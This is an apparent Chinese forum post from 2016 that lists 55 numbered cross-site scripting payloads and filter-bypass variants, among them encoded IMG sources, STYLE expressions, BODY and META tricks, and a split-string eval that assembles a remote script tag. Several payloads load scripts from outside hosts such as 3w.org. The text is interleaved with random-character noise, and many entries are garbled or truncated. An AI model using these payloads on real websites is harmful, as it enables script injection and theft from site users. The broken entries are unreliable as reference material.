(1)普通的XSS JavaScript注入5 D0 }( v0 m! s/ W0 [
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 C% s+ O* A4 X3 \2 L(99)另类弹框9 J; B- X' a2 y) @
<q/oncut=alert()>1# Q8 A2 w* T) ^4 m; K
<s/onclick=alert()>b
' Z! C. a; `% B# p2 |6 R) k <XSS=" onclick="alert(1)//">clickme</SSX=">& a* m7 y/ C9 Z/ v1 ^
<zzz onclick=alert`1`>clickme</zzz>
! e, J3 N: _( w2 a# J' t. b% R <a onclick=alert`1`>clickme</a>
& }4 r) g8 K) N6 F4 @( f1 S" H<a=">clickme</a=">
: E: `8 P' q" X9 j; Y" s<a=">clickme</a>' z) K5 a; R1 h/ J+ a: [. {0 s
<z=">clickme</z="># [2 P& u0 M# @3 r
<z onclick=alert`1`>clickme</z>5 Q: ]1 P# V6 R2 A$ U
- m! {# h" I0 K
(2)IMG标签XSS使用JavaScript命令
! G# ]3 U/ r+ R7 c3 W( N* M% Q) m: t! o<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>4 i- \& _% @( R5 [- r% q
; w3 e9 M B# F$ O
(3)IMG标签无分号无引号$ w" `* q0 @4 i# f& ^* D
<IMG SRC=javascript:alert(‘XSS’)>
+ f2 I6 w/ M3 ^" K9 F* U6 Z/ m4 d- z* I- D6 b
(4)IMG标签大小写不敏感
" z5 d9 ~0 H0 V6 Q9 ~0 w4 y<IMG SRC=JaVaScRiPt:alert(‘XSS’)>3 w' Y0 |& u: B0 w
7 _' [8 F8 I; I I1 i, b- c& c
(5)HTML编码(必须有分号)
, h4 N1 F% M3 Z5 A; V<IMG SRC=javascript:alert(“XSS”)>- N0 W7 P7 l6 P. |
0 c! R* r/ m$ _8 @, j
(6)修正缺陷IMG标签7 S3 t- _. b3 e; }
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>9 A0 g1 q7 r- w( p% V+ i" t9 D
; {# Q; Z; ~& r7 D3 ](7)formCharCode标签(计算器)
/ A% A3 \/ Q+ O! N1 o* u' ~7 p<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>1 J; O; g" u6 z! J
2 e1 b7 X4 p/ }; J5 \) t- O, P
(8)UTF-8的Unicode编码(计算器)6 w# g0 ^( e: m) G) i$ \7 s
<IMG SRC=jav..省略..S')>
0 H) |6 A' w% b& j/ p u+ G
! _9 k8 ~; }0 \3 O4 } _(9)7位的UTF-8的Unicode编码是没有分号的(计算器)3 A. r3 n3 D" ?; [' D5 q
<IMG SRC=jav..省略..S')>$ C2 j4 b6 h9 L" V9 B; J' V
( E9 r5 d; P% e- J' Y3 A' |- c0 O(10)十六进制编码也是没有分号(计算器)0 d1 K; m& W5 E4 z
<IMG SRC=\'#\'" /span>9 L4 i, o! S9 |) S
/ b3 e( i. I$ F) V(11)嵌入式标签,将Javascript分开' H2 H; @, t: ~3 s/ b+ ]$ ?1 y! R
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>. V m9 R% e. ~. P/ A- Y$ ~
$ i* R4 s+ e# \% Z0 J( _, S5 d
(12)嵌入式编码标签,将Javascript分开
( b% e) x3 L) `! N<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
6 Q5 b! p0 n. K6 C; d% m4 u5 n/ k5 a0 D
(13)嵌入式换行符5 y, u% ]$ I9 |" ], i I
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
`( g1 {) Q: b m& }3 {5 U2 ]4 J" v/ T9 l/ I0 ]) l
(14)嵌入式回车& O7 B5 L3 \0 g7 \
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>7 k# M/ j4 Y$ `$ _: j
/ c/ w9 Z5 Y. `! r" E5 ^6 f(15)嵌入式多行注入JavaScript,这是XSS极端的例子
& z7 D: b1 w n' g x' I' q<IMG SRC=\'#\'" /span>
1 K2 Z2 S8 j: I' p; {! c: s7 x9 ]1 d2 B- m! V* B3 X
(16)解决限制字符(要求同页面); ^4 L( Z! p; x" h- l! c2 P
<script>z=’document.’</script>
5 A) U c$ t5 T i<script>z=z+’write(“‘</script>6 k/ ]9 T; v$ k: R9 V# D
<script>z=z+’<script’</script>& V( f9 |1 b- m* b1 [! u
<script>z=z+’ src=ht’</script>
4 s4 t/ C' r9 F7 N<script>z=z+’tp://ww’</script>$ }3 {9 L2 X+ h$ p$ _
<script>z=z+’w.shell’</script>
% D* V$ |/ F8 P( h<script>z=z+’.net/1.’</script>
6 ~$ a# r D# [6 t<script>z=z+’js></sc’</script> B2 R) |$ l# E1 P+ D3 A1 P& [
<script>z=z+’ript>”)’</script>. r& S& M2 z1 N7 y' [# |2 O
<script>eval_r(z)</script>
7 e0 ]4 ^! H% X0 L4 m0 n/ R) v0 X" V
(17)空字符
a9 G, C4 {" `' b: Kperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out W9 @# N+ g0 F" I0 f
7 f4 T, ?5 W2 j- E
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用% b) A% E' N/ T- r, y5 @
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
6 \6 l( `- w# O0 \% I
! f. d% Z) [7 i9 A! N9 f(19)Spaces和meta前的IMG标签# g+ p% K2 D% v% T$ J! O
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
' e7 X/ x0 O& T* c$ Y, |: t+ m2 b3 N- l3 l; b& M0 a
(20)Non-alpha-non-digit XSS" N$ [. D! n5 `1 x
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>, ]4 x+ @, q; ]2 Z4 A" f
/ L2 K% a+ i* X7 y(21)Non-alpha-non-digit XSS to 2
' g. e" ?1 @' g6 K/ A<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
2 K4 P) t% E! d6 I% K7 h- F* r. D9 b, w/ O3 E( k C& A
(22)Non-alpha-non-digit XSS to 3 o; A$ E8 h( C
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
/ [0 y- b* @; e
" E0 H& M6 w% {/ n$ V6 S6 r5 v(23)双开括号 k1 G$ _: W |. I' n% H
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
; r7 ^% ~6 j6 Z! P. ^0 R& A; G) L9 K! g' k8 i/ Q; S2 Z7 Z. L
(24)无结束脚本标记(仅火狐等浏览器)2 v5 P: a" S' g. L
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>) d2 k/ E& C# D1 }$ G" D1 W
8 Y/ V7 K* k. p; b& b
(25)无结束脚本标记2
" _1 H1 y; f; J6 |; [ ?<SCRIPT SRC=//3w.org/XSS/xss.js>3 L$ v" [: J& j$ m
0 X$ t+ `) E9 e$ x0 d/ S
(26)半开的HTML/JavaScript XSS8 M; t7 j5 O, f. |
<IMG SRC=\'#\'" /span>) }1 P1 k ^- J
9 t1 ^7 S" l& P' P# A5 x) ]
(27)双开角括号, d) E2 C }5 k& G2 A/ W9 W
<iframe src=http://3w.org/XSS.html <
. O R# x9 {# V- M& P% {1 n. o
/ F2 I5 t4 {8 t& f(28)无单引号 双引号 分号) {6 H, w; x% S) k
<SCRIPT>a=/XSS/
- L9 p; e9 ~4 B5 Aalert(a.source)</SCRIPT>
+ c" X2 _! C! R/ ]; z6 l( L4 f2 G: }3 P" i+ V& s: E+ t
(29)换码过滤的JavaScript, w5 K' m P8 i `8 p3 n
\”;alert(‘XSS’);//
0 \& r* _7 m: ]' O, t% s( h( ?2 |3 z! q
(30)结束Title标签1 y( `& O3 P, ^5 M+ b
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>5 b7 R8 e( o) x( {/ y$ o/ ~
% g% c6 T* [. ]! n, f8 G: ?
(31)Input Image( A8 q9 X' Y! k+ }3 n1 |
<INPUT SRC=\'#\'" /span>. {1 J' C( O& e6 }% Q! M
$ S& k8 J' I( L(32)BODY Image0 P) {4 z4 e a# r
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
& G% y* A, S# k. ?3 t& D" K; ]4 d4 _2 s' ]. p
(33)BODY标签4 M( H/ i! _ G. N8 s% N+ b9 x- g2 C
<BODY(‘XSS’)>4 q: q& c1 J: |9 N3 Z" F
+ x5 e. E6 \7 v- v; O/ h(34)IMG Dynsrc; b O2 H" b: }( o' P
<IMG DYNSRC=\'#\'" /span>
# _0 R9 h1 [2 \+ L# c8 i' M7 a4 n7 R- {# w$ Q: @, ?1 A1 d
(35)IMG Lowsrc' d# |( F( ?5 ]$ U# _6 h$ I
<IMG LOWSRC=\'#\'" /span>
) f" A4 g/ ~3 m! L5 n7 g( Z; Z" G/ {9 g- b w' h3 q
(36)BGSOUND% g+ W0 T: b$ |- _0 {" j" I+ p
<BGSOUND SRC=\'#\'" /span>
9 R- P( j2 o4 g8 g7 q, }8 [% k" T8 F. {% G2 b( { a1 c$ U
(37)STYLE sheet" p# J, d0 U$ d2 v& C' g$ A
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
7 [: h; H: Z+ R' O& }6 ]9 G4 ^1 a2 N0 E' g) s9 F+ J' P4 |
(38)远程样式表
! P+ C0 R; l) R& ~& ?! d<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
8 Y& }1 d/ g- ~# Q! h/ H
) Z& ~. y, C1 _& c! I0 H$ Z8 ](39)List-style-image(列表式)
+ ?, E6 F* K2 m5 j: ?<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS0 i% k' ]8 p0 m$ N# b3 @ Q4 u. d
! T9 \/ E, c0 w
(40)IMG VBscript
8 _: G( b2 v3 n8 z) f6 \<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
- n. o8 v- s D+ V8 U0 q8 L
2 a0 }" ^, o! W(41)META链接url- H- R6 z# a4 ?: I
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>2 z; f& S$ e% {/ Z! X: R$ g$ q! V2 ^
- a* d; m+ C f* m* H! b/ U% a) o
(42)Iframe* i* |! o$ Y& |/ J6 {3 K
<IFRAME SRC=\'#\'" /IFRAME>+ O5 p& Q$ J8 N G
' j) Q2 O& l* e$ [2 i6 G. K' Z. _(43)Frame; S3 f& H! o1 B) q7 S+ C
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
0 S) Z$ F) r% ]0 I5 [6 A
% h0 c t1 H2 M7 A3 A(44)Table3 Q- f9 R, `4 P' r
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>8 A/ u: t h! v( y/ ?1 J
" A4 u+ A% T! U1 ^" c" o% ~% ?
(45)TD$ d% E6 r8 \4 T) _
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
8 ~; b' k, O# Q) X3 E- L5 @4 ?
4 O" t1 i5 B4 {: k( V2 Z+ L(46)DIV background-image
+ `8 K! w7 z) _3 Y6 i<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
" |4 b: u5 H. q6 G8 o% E3 _' V! n/ {0 L; {
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)+ X9 Q+ y( ~+ T/ A9 I1 ~
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> s' L9 Q4 C/ b d/ u+ _
5 R4 b2 p I% ]" {(48)DIV expression$ P) ]1 G/ L E: V" q U
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
" c9 ~) j0 u, R( R# Q; p
) |8 w! p! c; J% I. p" x) C2 A! F(49)STYLE属性分拆表达
# _7 }' a9 @% c8 g- \<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
# f7 D4 V# o2 z ~# e" _) ^
) g) f t, c1 E) H7 r(50)匿名STYLE(组成:开角号和一个字母开头)6 w& j7 G) b2 ?% A
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>. B; c1 c F7 m: H$ m' }" o; Q
! H+ S O0 f- a4 o(51)STYLE background-image
6 b& G* k# i8 B<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>" {: o* x% H0 _5 a# U/ b9 g
0 `* j$ E- C4 w* _* K& p
(52)IMG STYLE方式1 y# c6 L% H) k3 T
exppression(alert(“XSS”))’>
1 ?. s. j4 ]- q8 g8 B' I& X6 ~/ H% A+ L5 @* Y/ z7 f e f
(53)STYLE background7 D0 r' S8 H) L+ d4 j
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>. Q/ U; V+ R) |
+ ], w) R7 F9 b
(54)BASE
% h9 k8 Y/ m( | A0 Y6 Z/ H<BASE HREF=”javascript:alert(‘XSS’);//”>( H6 |) N2 q. D: R7 P( o
?8 F8 {# w4 C. e: ?5 H(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS1 T& P* \/ y* Y2 V! m( c' {( ~
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>! P0 n& Y7 W8 o! \
|
发表于 2016-4-28 10:06:15
收藏
支持
反对